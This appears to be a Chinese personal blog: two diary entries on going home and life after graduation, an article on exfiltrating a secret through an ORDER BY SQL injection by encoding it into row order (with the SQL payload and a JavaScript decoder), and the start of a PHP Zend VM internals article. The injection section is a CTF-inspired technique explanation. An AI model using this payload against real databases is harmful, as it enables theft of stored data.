一场旅行

国庆回家成了最大的期盼,回家最想做的事大概是吃各种好吃的,满足在外面一直心心念念的东西,和最好的发小在一起吃顿饭,喝一场无所顾忌的酒,在家乡到处走走,看看是否还是那个记忆的家乡吗?

上大学的时候,就有一句话,让我影响深刻,从此家乡再无春秋,是啊一年也就暑假和寒假回去,上班以后也许家乡只有那短短的春节,从此连夏天也消失的无影无踪,就这样看着它从手中溜走,却无能为力。

一个人在外面久了,我发现很容易被感动,前几天车骑到半路,由于剧烈的颠簸,车链子掉了,只好推回家了,但是那天的天边是淡淡的紫红色,很美。但是还是比不上我在大学那座桥上看见的淡蓝色的傍晚。

推到小区门口,看见了那个熟悉大妈依旧在推着小车卖着手抓饼和烤冷面,好长时间没吃了,加上推车回家天都黑了,也不想再做饭了,大妈看见我来了,笑嘻嘻的很高兴,还是像往常一样点了我最爱的套餐,一个手抓饼和一碗烤冷面,大妈的手法很利索,很快就做好了,拿着做好的美食要走的时候,大妈突然用方言说话了,由于我带着耳机,我没听清,我摘掉耳机又听大妈说了一遍,大概的意思是小伙子你应该有很长时间没来了,我笑着说是啊,大妈接着说虽然你这么长时间不来,我还是记得你,你喜欢吃的是手抓饼加大肠,烤冷面是加小肠,我那一刻没有说话,只是傻傻笑着,一遍笑着回头一遍推着车走远了…

生活里面总有不期而遇的温暖,一不小心就可能被你碰上,此刻还在火车上,身旁是坐在座位中间走道上的一个汉子,他睡着了,头靠在我的手臂上,我一直没有动,我看的出来他很累。他不是一个人身旁应该是他的妻子,妻子靠在汉子的身上睡着了,很安静。不忍心去打扰到他们,火车走道上密密麻麻都是人,这种感觉很奇妙。由于担心火车上无聊,上车前去打印了一篇paper,以至于让自己不会那么无聊,很有意思的paper,原来一个linux kernel的exp要写出来是那么的复杂而精妙,在北京西站等车的时候,由于来的太早了,就在地下大厅找个没人的空地做了下来,拿出paper研究了起来,大厅人来人往,似乎也与我关系不大,上了车。就在前不久终于看完paper 弄了所以然。这种在嘈杂的环境里面,做自己喜欢的事,这种感觉真的很好。

火车上人来人往,充斥着人气儿,每个人都能找到自己的位置,然后期待着那个远方,或许是回家,或许是换个城市工作,或许是去找自己喜欢的事…

凌晨2点火车,很安静,只有火车运行的声音,偶尔会迎面驶来另外一趟火车。也许它承载着那些人去往一个叫目的地的地方。

我此刻最想做的事是下火车以后 坐上那趟熟悉长途客车,因为在这趟车上,我可以放心的睡去,因为我知道它的终点是叫做家的位置,到了终点即是你睡过头了,也会有人叫醒你,而且你永远也不会做过头。

也许我不能坐这趟车了,我妈叫我舅来接我回家,就想北京4号线的菜市口 每次经过那个地方时候 我知道我要回家了 那是家的方向。

这趟回家的旅程 是肯定要回的,记得匆匆过完元宵就离开了家乡,就直接来到了北京,都得真的很匆忙,去决定去哪里工作,短短几天就通知面试。想想还是很幸运,一切都很幸运。

这趟旅途,也是很匆忙,但是要做的几件事还是必须要做的。如果偏要给一次旅途加一个意义和目的,我想,那它就叫常回家看看吧。

七月记

忘了什么时候开始 到清晨才能入睡 也忘了什么叫做结尾 又有谁在乎呢 凌晨三点的窗前 播放着那段时光 有一个骄傲的少年 隐藏他地青春 嗯……

今天离正式毕业已经快半个月了吧,其实之前有好多话想写下来,太忙也不愿把时间放在这个上面,但是总是集着也不是一个合理的方式,我想还是应该写下某个突然的想法或者感悟或思念,要不转瞬又忘了。

毕业之前想着快点毕业,毕业之后能有更多的时间干自己的事,确实现在也是这样,现在生活真的很简单,上班,睡觉 , 学习,做饭。 除了这四件事好像也没有什么其他事了,简单到极致,没有其他东西值得可列出来的。关于做饭,其实我很喜欢,但有时候可能也会因为兴致的原因,草草了事。有人问我,为什么要这么麻烦自己做饭呢,我说这是一种生活态度,一种值得乐道的事,就像我很喜欢看的一档美国美食节目masterchef里面戈登说的那样“Cooking for your life”,当你在思考今天该吃什么,明天又该吃什么的时候,其实你已经在慢慢的融入周遭的环境,是那么的优雅而和谐。我喜欢masterchef里面每一个选手做的菜,精致和colorful,永远是我的第一眼印象,这和我们中国人的料理不一样来的猛烈,去的洒脱。它是一种宛转悠扬,是一种对生活品质的追求。说到这里,其实我从小就生活在一个爹妈都是厨师的家庭里,别人都羡慕我爹妈的菜,而我似乎却不以为然。可能是从小到大吃腻了吧,但是出门在外,以前半年回一次家,现在可能一年回一次,还是很想念那碗豆腐干炒肉,天底下没有哪碗菜能比的上它在我心底。我很怕回家,因为每次回家给我最大的感受就是他们又变老了,婆婆离开已经半年多了,大学4年每次回来都能感受婆婆老了太多,真的太多太多了,爹妈都很忙,婆婆陪我的时候很多,婆婆走的时候我其实当时不知道是什么心情,那天12点多,是我亲自点燃那条鞭,在鞭声我很想哭,但我哭不出来,后来我才慢慢体会那句话“其实一个人走的时候,当时你可能没有太强烈的情绪,但是很多年以后当你突然想起这个人的时候,眼泪也不觉的流了下来。”,在后来的日子我终于明白了,可是那个给我买鸡腿的婆婆再也回不来了。

做饭是一种最能减缓日子变快的方式,在这简单的日子能找到一种特殊的闲暇,偶尔研究如何做饭,偶尔思念那些人,也许这就是做饭的意义吧。

工作遇到了很多人,很幸运这些人他们都很好,帮助了我许多,帮我快速的融入职场,心底谢谢那些帮助过我的人,我很喜欢我现在的工作,曾经我去过一家安全公司实习,总监组织开了一场会, 其中问到如何看待“碎片化学习”,总监表达了自己的建议,对碎片化学习很鄙夷,视乎不太赞同,我在一旁只安静的待在,思考着,也不曾说话,我心中的想法是总监不懂安全,不懂那些安全爱好者的经历,或许他忘了原来的自己。每个人是如何接触到信安的,都有自己的经历的,是多彩的,但是故事的开头一定是它吸引了你,它很迷人,我们每个人都是靠着有限的知识去接触更大的知识面,是这些零碎的知识带给了我们兴趣,让我们有机会去探寻,没有一个地方,我能学到完整的信安知识,靠的是自己的一点一点的收集的知识,快速建立自己的基础,如何去爬更高的地方,知识来源于碎片,碎片拼凑的是庞大的体系,我们每一个人,都能在其中找到自己的热爱的,擅长的地方。我有时候在想,信安的攻防是分不开的,但没人去叫你如何功,没有功哪来的防,未来是否有一个地方,是信安的圣地,让更多的年轻人能接触到信安的面纱,拭目以待。毕业的时候,一本一本最后带不走只能当废纸卖了的专业书,其实我想捐给那些山区的孩子,奈何没有途径,我想是否在遥远的某个地方。如果有一个从未接触过电脑的孩子,拿到一本关于电脑的书,他是否会惊奇不已?当他长大以后,接触到更广阔的时间,他不再是那个别人眼里什么都不懂的乡下孩子,如果这些书能带给那些孩子兴趣,打开一扇门,是否将来会有更多的计算机人才在这批孩子里面诞生呢?相比现在城里的孩子,3-4岁就开始接触各种电子产品。山里的孩子没有这种机会,我想给他们做点什么,未来等我经济稳定了,我会亲自去给那些山里的孩子送去关于计算机的书,希望能给他们打开一扇门,虽然做的不多。希望这个世界上所有的孩子,都能去追逐自己的梦想,无论条件如何,活在当下,期待未来,快乐的过好每一天。:)

再谈谈学习,其实无时无刻都在学习,信安之路真的好长啊,什么时候能和那些人并肩呢,我常常问我自己这个问题,很庆幸是,无论何时,我都没有消极心态,都在积极的吸收消化知识,只为变的更强,这很重要,常常很晚才睡,但每天7点必须起床,我现在需要把那些我丢掉的日子补回来,所以得倍加努力。在孤单独自一人的生活里,不停的向上奋力生长,是一种乐趣, 是一种状态。让日子变的纯粹,变的简单。真的很期待未来我能成长成什么样子,会不会是个顶级的hacker呢,我想不是顶级也应该不会太差吧。关于学习,总结 自律,兴趣,探索欲,谦虚这四个词,是我这一阶段遵循的东西。

我很喜欢记录风景,无论是天上的云,晚霞,雨,花草心动时都一一记录。曾经龙应台也问过自己,真正能看懂这世界的,竟然是那小小一台相机吗?不是自己的眼睛、自己的心?,她引用了一句王明阳的话:”你未看此花时,此花与汝同归于寂;你既来看此花,则此花颜色一时明白起来,便知此花不在你心外”,当心不在此花身上,此花并无特别之处。心无无物,世间的万般风景不觉依然在你心上,那刹那惊艳的风景,在你惊呼的时候,其实早已经进入了你的心里。同样的一朵花,每个人看见东西都不一样的,得到的东西也不一样。再难以割舍的东西,要学会把心慢慢抚平,学会放下。一定要记住心外无物!

2019-07-08 23:42:12 七月八,北京,阴雨连绵,maple

ordey-by-leak-of-sql-injection

前言

前些日子在看google-2019-ctf的时候,看到一道关于Order by注入点的题,觉得很有趣。第一次考虑如何通过一次SQL查询,尽可能得到更多有用的信息。

进入正题考虑下面的情况

1
2
3
4
5
$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
$inject = $db->escape_string($_GET['order']);
$sql = "select * from user order by $inject";
$result = $db->query($sql);
show_fileds($result); // 讲查询结果按顺序打印出来

这个时候注入点在order by 后面,order by 后面是不能带union select,而且此处也是不存在报错注入的。唯一显示是通过该处查询得到的user表的所有内容。每次输出的唯一差异性在于每行查询数据的排列顺序,是否可以通过不同的排列顺序去间接的泄露一些信息呢?答案是肯定的。

如果有n条查询结果,那么就有n!种不同的排列顺序,这就是有n个球和n个盒子的问题,如何把n个球放到这n个盒子里面,每个盒子只能放一个球,其实也就是排列数公式 (n!/(n-m)!)中m=n的特殊情况即全排列。我们如何去使用这n!种情况呢?这就是本文问题所在。

字符串转换成整数

通常SQL注入的情况下,我们需要得到的信息都是字符串,所以很多情况下都是去猜解这个字符串。在只通过一次查询的情况去猜解更多位的字符串是我们的目标。所以我们需要把我们猜解的结果以查询结果排序的顺序间接的显示出来。需要首先考虑猜解范围集合和排列数集合大小关系。

例如需要猜解的字符串单个字符在 "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" 36位字符集合里面,若是长度为n的字符串,那么猜解的范围就为36**n,若当前user表包含9条数据,那么排列数的大小为9!,则能表示的位数为log36(9!)=3.572417978,所以一次查询能完全正确猜解的位数为3,那么在n位的字符串里面可以截取3位,这36位字符集合正好是mysql里面36进制用到的字符,所以可以进行conv(substr(@secert,1,3),36,10),这里的@secert表示需要猜解的字符串。如果conv无法使用,你可以自己做一个简单的转换(ord(c)-22)%43"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"的ASCII映射到[0,35]上,然后再分别乘上对36**r,r表示字符对应的36进制的位数,这样做需要在脚本解码的时候也用同样的映射算法。

这里我们已经可以把分割字符串转化10进制的整数值。整数值的大小应该是在排列数的范围之类。接着就是如何把整数值转换成排列值。

数字到排序的Encode 和 Decode

这个地方可以理解为给出了一个字符串 和 整数n,输出这个字符串的第n个全排列。这里的字符串相当于这里user表里每行数据为单元的集合,整数n就是前面分割得到字符转化为的整数值。这里介绍两种计算全排列的方法。

0x1 rand()

order by后面使用rand(), 是可以用来输出每次查询都是不同顺序的数据行。例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
MariaDB [test]> select * from maple;
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-14 | L4CY1JMRBEAW |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-27 | 31OSKU57KV49 |
+------------+--------------+

MariaDB [test]> select * from maple order by rand();
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+

MariaDB [test]> select * from maple order by rand();
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-14 | L4CY1JMRBEAW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-10 | OQQRH90KDJH1 |
+------------+--------------+
9 rows in set (0.001 sec)
可以看到每次输出的顺序是不同的,再来看一下固定的随机种子rand(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MariaDB [test]> select * from maple order by rand(1);
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)

MariaDB [test]> select * from maple order by rand(1);
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)
固定随机种子,固定输出一种排列顺序。所以在这里可以用 rand(conv(substr(@secert,1,3),36,10)),但在此之前,我们需要维护一张关于rand([0,n!-1])的映射表,这个工作可以在本地完成,然后通过遍历映射表还原字符串。使用rand()相当于需要自己去额外维护一张全排列的表,下面再介绍一种方法把全排列算法放在查询语句中。

0x2 Index of row

如何把计算全排列的算法放在查询语句里面呢?首先我们先尝试给每一行数据添加一个index序号,添加序号的方法又可以分为两种,如下:

1
2
set @row = 0;
select *,@row:=@row+1 from user;
额外定义一个SQL变量用来表示每次查询的行号。同样也根据每行数据的特征来表示行号,如若表的结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
+------------+--------------+
| date | winner |
+------------+--------------+
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
我们也可以用find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))这样的方式来表示。再来仔细理解一下order by是怎么工作的。
1
2
3
4
5
6
7
MariaDB [test]> explain select * from maple order by 1;
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
| 1 | SIMPLE | maple | ALL | NULL | NULL | NULL | NULL | 8 | Using filesort |
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
1 row in set (0.000 sec)
可以注意到出现了filesort,在使用这种排序的时候首先从表里读取所有满足条件的行,即order by用到的列值,然后再根据每列order by 后表达式计算的值,进行一次quicksort。目标在排序之前拿到从表里读到的数据列的顺序都是固定的,即select * from user

这里表的结构里面有9列,所以要把拿到的整数值转化成个9权重值分给每一列,再进行快速排列。前面说到的整数n应该在[0,9!)之间。所以我们可以通过除法和模运算来转化。

1
2
3
4
5
6
7
8
9
10
$n = $d9 * 9 + $r9 // r9 in [0 ,8]
$d9 = $d8 * 8 + $r8 // r8 in [0 ,7]
$d8 = $d7 * 7 + $r7 // r7 in [0 ,6]
$d7 = $d6 * 6 + $r6 // r6 in [0 ,5]
$d6 = $d5 * 5 + $r5 // r5 in [0 ,4]
$d5 = $d4 * 4 + $r4 // r4 in [0 ,3]
$d4 = $d3 * 3 + $r3 // r3 in [0 ,2]
$d3 = $d2 * 2 + $r2 // r2 in [0 ,2]
$r2 = $d1 * 1 + $r1 //
$r1 = 0
得到[$r9 ,$r8 ,$r7 ,$r6 ,$r5 ,$r4 ,$r3 ,$r2 ,$r1],如6666会被转化成[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0],再根据这个集合转化成[0,1,2,3,4,5,6,7,8]赋给每一列,如何转化呢?

首先定义@l: = "012345678"表示权重tokens,再把[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0] + 1当做下标,去截@l里面的字符。每次截取之后就把截取出来的字符从@l里面去掉,最后生成了[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8],按照顺序再赋值给每一列order by返回值,生成排序结果。以上部分相当于是Encode的部分,把整数值n转化成对应全排列。用SQL语句来表示为:

1
2
3
4
5
6
7
8
9
select * 
from maple
order by
(select concat(
(select 1 from(select @l:=0x303132333435363738,@r:=9,@b:=66)x),//0x303132333435363738 ==012345678”因为过滤了单引号
substr(@l,1+mod(@b,@r),1),
@l:=concat(substr(@l,1,mod(@b,@r)),
substr(@l,2+mod(@b,@r))),
@b:=@b div @r,@r:=@r-1));
可以看到这里order by 后面表达式返回的是concat拼接的一长串值,不是简单的"012345678"里面的某个单字符。这里其实不影响,mysql里面字符串进行比较的时候,是按位比较的,这里第一位都是1不影响,紧接着就是每一列真正的权重值。

前面说到find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))这种输出行号的方法,在这里其实也是可以用到的。可以通过嵌套的select,先用一个select 得到[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0]除法和模运算得到的序列,再用一次select得到[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8]权重值序列,再通过find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))依次去取前面得到的权重值数组里面的值。相对来说还是第一种方法较为简单。

解码过程就是把排列顺序还原成整数n,再将整数n还原字符串,第二步较为简单。第一步的操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function cal(str){

a = "012345678"
offsets = [];
while(str.length>0){
chr=str.substr(0,1)
str=str.substr(1)
offset = a.indexOf(chr)
offsets.push(offset);
a = a.substr(0,offset)+a.substr(offset+1);

}
len = offsets.length
num = 0
cx = 1
while(len>0){

num = num*cx+offsets[len-1]
cx++;
len--;
}
//console.log(cx);
console.log(num);
}

可把得到的排序序列的字符串转换成整数n,Decode算法按照Encode 的算法来写就行。

总结

SQL注入在原印象中都是利用页面的差异一位一位的猜解,在此处order by可以尽可能多的猜解多位,对于长字符串你需要根据表中数据列的多少进行分割再依次进行猜解,这个地方需要注意的是,我看到有的地方对于长字符串可以压缩之后再进行猜解,length(compress(@string)) < length(@string) 字符串长度在90左右时候成立,但是在这个地方,是否也可以将字符串进行压缩呢?我认为并不是一个明智的选择,压缩之后会引入新的字符,可能会减少字符串的长度,但一定会增加猜解的范围。其实关于用SQL生成全排列的算法远不止上面几种,有兴趣的朋友可以自己再琢磨琢磨。

玩转php的编译与执行

0x00 写在开头

曾几何时php一不小心闯入了我生活,php语法竟然和C语言那么莫名的相似,这是最初php给我的感受,当接触的php时间越来越多的时候,php也没有那般生涩难懂,但是偶尔一些的新的php 设计思想,也会思考许久,不知是从什么时候开始了php另一个世界。我想应该是从那次的类型转换开始的,"1e12"字符串类型在转化为数字类型变量时,不同的php版本下转换结果截然不同,有的就变成了数字1,有的却可以正常的识别为科学计数法10^12,在这个地方就已经悄悄的埋下了一枚种子。

到后来的使用php://filter/string.strip_tags/resource包含文件时为什么会出现SegmentFault,在HCTF2017上初识orange带来phar的metadata反序列化0day,溯源使用imap_open到底是如何绕过disable_function限制的,在WP5.0 RCE中mkdir的差异,到今年四月份在twitter看见的chdir 配合ini_set绕过open_basedir的限制。echoeval 语法结构的分析,create_function的代码注入,各种各样的PHP内部的hook,php扩展的编写,到最近的SG的zend扩展加密....

这一路看来,我早已经陷入php的魅力无法自拔。不知道在这篇文章面前的你们,是否也曾有过像我那般想要领略php神秘内部的冲动?有些人却忘而生畏,无从下手。希望你们读完此篇,能点燃那颗微弱甚至熄灭的向往,或者是在你们的冲动上再加一把火。读完之后若有所感,便是对本文最大的肯定了。

0x01 概述

php 是一门针对web的专属语言,但是随着这么长时间发展,其实已经可以用php做很多事了,甚至语法结构的复杂度在趋近于java,还有即将出来的JIT,php的未来变的很难说。

尽管如此php还是一门解释型语言。解释型语言相对于静态编译型语言最大的特点就是他有一个特殊的解释器。利用解释器去执行相应的操作,例如php代码是不会再去被翻译成机器语言再去执行的。

例如在php 中

1
2
3
<?php
$a = 1+1;
?>

那么在相应的解释器里面比如存在,一个与之相对应的解释过程,可能是一个函数例如

1
2
3
int add(int a, int b){
return a+b;
}

在这里面就仅需要调用这个add函数去解释这个加法表达式的赋值过程。那么问题来了php的解释器是怎样的一种呈现过程呢?由此引出php的核心ZendVM(虚拟机)。

如果想要弄清楚我们写的phpCode最后是如何被正确的运行的,就需要去了解Zend VM到底做了什么?也正是因为ZendVM赋予了php跨平台的能力。所以相同的phpCode可以不需要修改就运行在处于不同平台的解释器上。这一点需要知道。

其实虚拟机大多都一样,都是模拟了真实机器处理过程。不同是的运算符,数据类型的定义存在差异。在具体的语法逻辑结构上,大多都大同小异,例如if,switch,for这些流程控制,还有在函数的调用上。所以在探究一个虚拟机的内部结构时,你需要有一个明确的目标:

  • 虚拟机内部用来描述整个执行过程的指令集。
  • 单个指令对应的解释过程。

清楚以上两点,再来探究ZendVM。同样ZendVM有编译和执行两个模块。编译过程就是将phpCode编译为ZendVM内部定义好的一条一条的指令集合,再通过执行器去一步一步的解释指令集合。

单条的指令在php里面被称为"opline",指令的定义内容可以结合汇编的相关知识理解。例如汇编语言中

1
2
add eax,edx
jmp 10000

其中有两个关键字add和jmp,这是汇编语言内部定义的指令集合中的两个。同样在php也有像类似的指令关键字叫做opcode,指令关键字后面是改指令处理的数据,简称为操作数。单条指令可能有两个操作数op1,op2,也可能只有一个op1,也可能存在一个操作数都没有的情况,但至多只有两个操作数。那么指令是如何使用操作数,首先必须知道它的类型和具体的数据内容。这里可以具体看一下ZendVM内部定义的单条opline结构:

Opline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _zend_op {
const void *handler;
znode_op op1;
znode_op op2;
znode_op result;
uint32_t extended_value;
uint32_t lineno;
zend_uchar opcode;
zend_uchar op1_type;
zend_uchar op2_type;
zend_uchar result_type;
};

typedef struct _zend_op zend_op;

可以看到不仅有两个操作数的op1和op2的定义,还有一个result变量,这个是变量是标识单条opline执行的返回值,当出现使用函数返回值赋值时,多个变量连续赋值,变量赋值出现在if判断语句里面时,在这几种情况下result变量就会被用到。

如果有想看到底定义了哪些opcode的同学,可以在zend/zend_vm_opcodes.h里面去看,本文使用的php版本为7.4.0-dev,一共有199条opcode。

下面简单解释一下,zend_op这个结构里面znode_op,zend_uchar这些结构的含义。可以看到一个操作数是有前面这两种结构定义的相关变量,分别指向的是操作数内容和操作数类型,操作数的类型可以分为下面5种

1
2
3
4
5
#define IS_UNUSED	0		/* Unused operand */
#define IS_CONST (1<<0)
#define IS_TMP_VAR (1<<1)
#define IS_VAR (1<<2)
#define IS_CV (1<<3) /* Compiled variable */
  • UNUSED 表示这个操作数并未使用
  • CONST 表示操作数类型是常量。
  • TMP_VAR为临时变量,是一种中间变量。出现再复杂表达式计算的时候,比如在进行字符串拼接(双常量字符串拼接的时候是没有临时变量的)。
  • VAR 一种PHP内的变量,大多数情况下表示的是单条opline的返回值,但是并没有显式的表现出来,列如在if判断语句包含某个函数的返回值,if(random()){},在这种情况下random()的返回值就是VAR变量类型。
  • CV变量,是在php代码里面显式的定义的出来的变量例如$a等。

Znode_op

接下来是操作数的内容znode_op

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef union _znode_op {
uint32_t constant;
uint32_t var;
uint32_t num;
uint32_t opline_num; /* Needs to be signed */
#if ZEND_USE_ABS_JMP_ADDR
zend_op *jmp_addr;
#else
uint32_t jmp_offset;
#endif
#if ZEND_USE_ABS_CONST_ADDR
zval *zv;
#endif
} znode_op;

znode_op其实一个union结构。其实可以分为两种情况来谈,相对寻址和绝对寻址。从定义的宏分支里面也可以看出来。这里就需要先介绍一下,关于opline里面的操作数是在哪分配的。先引出我们的zend_op_array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _zend_op_array {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
/* END of common elements */

int cache_size; /* number of run_time_cache_slots * sizeof(void*) */
int last_var; /* number of CV variables */
uint32_t T; /* number of temporary variables */
uint32_t last; /* number of opcodes */

zend_op *opcodes;
ZEND_MAP_PTR_DEF(void **, run_time_cache);
ZEND_MAP_PTR_DEF(HashTable *, static_variables_ptr);
HashTable *static_variables;
zend_string **vars; /* names of CV variables */

uint32_t *refcount;

int last_live_range;
int last_try_catch;
zend_live_range *live_range;
zend_try_catch_element *try_catch_array;

zend_string *filename;
uint32_t line_start;
uint32_t line_end;
zend_string *doc_comment;

int last_literal;
zval *literals;

void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};

zend_op_array是包含编译过程中产生的所有单个opline的集合,不仅仅包含opline的集合数组同样,还含有其他在编译过程动态生成的关键数据,这里先简单介绍一下其中几种。

  • vars变量包含CV变量名的指针数组。CV变量前面也已经提到过了就是,由$定义的php变量。这里的vars相当于一张CV变量名组成的表,是不存在重复变量名的,对应的变量值存储在另外一个结构上。
  • last_var 表示最后一个CV变量的序号。其实也可以代表CV变量的数量。
  • literals 是存储编译过程中产生的常量数组。根据编译过程中依次出现的顺序,存放在该数组中
  • last_literal表示当前储存的常量的数量。
  • T 表示的是TMP_VAR和VAR的数量。

Zend_execute_data

以上就是操作数部分信息储存的地方。可以看到在zend_op_array里面仅分配了CV变量名数组,但是这里面并没有储存CV变量值的地方,同样TMP_VAR和VAR变量亦是如此,也只有一个简单数量统计。对应的变量值储存在另外一个结构上,那么他们的具体的值应该在什么样的结构上分配呢?接着又引出了zend_execute_data结构。

1
2
3
4
5
6
7
8
9
10
11
12
struct _zend_execute_data {
const zend_op *opline; /* executed opline */
zend_execute_data *call; /* current call */
zval *return_value;
zend_function *func; /* executed function */
zval This; /* this + call_info + num_args */
zend_execute_data *prev_execute_data;
zend_array *symbol_table;
#if ZEND_EX_USE_RUN_TIME_CACHE
void **run_time_cache; /* cache op_array->run_time_cache */
#endif
};

zend_execute_data相当于在执行编译oplines的Context(上下文),是通过具体的某个zend_op_array的结构信息初始化产生的。所以一个zend_execute_data对应一个zend_op_array,这个结构用来存储在解释运行过程产生的局部变量,当前执行的opline,上下文之间调用的关系,调用者的信息,符号表等。所以我们想要知道的CV变量,TMP_VAR, VAR变量其实是分配在这个结构上面的,而且还是动态分配紧挨在这个结构后面的。接下来看一看这些变量是怎么依附在这个结构后面的。

关于分配顺序,首先是分配CV变量,然后就是依次出现的VAR,TMP_VAR变量。关于在动态分析取这个局部变量区里面的值时,需要注意几点,网上基本都是千篇一律的 (zval *)(((char *)(execute_data))+96)这样去取第一个值对吧,其实有时候你发现你取的根本不正确,需要注意的是:

  • sizeof(zend_execute_data) 需要注意的是你用的php版本中zend_execute_data 结构的大小,其实有时候并不是96,我这里就是72。动态分配的变量在zend_execute_data结构的末尾,所以你需要提前知道这个结构的大小。
  • 如果你傻乎乎现在又+72,你发现取的是不对的,明明是在zend_data结尾取的值,为什么还是还不对?这过程需要注意的是,这中间存在一个16的对齐过程,如下,zend_execute_data分配的大小是按照sizeof(zval)的整数倍来分配的,即16对齐。

1
2
3
4
5
6
7
8
9
10
11
12
#define ZEND_CALL_FRAME_SLOT \
((int)((ZEND_MM_ALIGNED_SIZE(sizeof(zend_execute_data)) + ZEND_MM_ALIGNED_SIZE(sizeof(zval)) - 1) / ZEND_MM_ALIGNED_SIZE(sizeof(zval))))

static zend_always_inline uint32_t zend_vm_calc_used_stack(uint32_t num_args, zend_function *func)
{
uint32_t used_stack = ZEND_CALL_FRAME_SLOT + num_args;

if (EXPECTED(ZEND_USER_CODE(func->type))) {
used_stack += func->op_array.last_var + func->op_array.T - MIN(func->op_array.num_args, num_args);
}
return used_stack * sizeof(zval);
}

综上大概明白了CV变量,TMP_VAR变量,VAR变量储存位置,再来谈opline中操作数内容如何获取。

  • 可以通过znode_op.var , znode_op.constant 来相对寻址,var代表是CV,TMP_VAR,VAR相对位置,即这里就是0x50,0x60,0x70这样相对于zend_execute_data结构起始地址。一般情况下是这样表示的
  • 同样也可以直接寻址直接用zval *指针寻址
  • 在jmp 跳转里面也存在直接跳转和间接跳转。

你会发现这里面没有讲到opline里面handler字段,关于opline中 handler的具体细节会在后面详细介绍。概要也差不多介绍到这里,主要需要对这些经常用到结构有一个印象(zend_op,znode, opcode_array,execute_data)。下面就开始具体的介绍细节的实现过程,这些结构具体应用在哪些地方。

0x02 编译过程

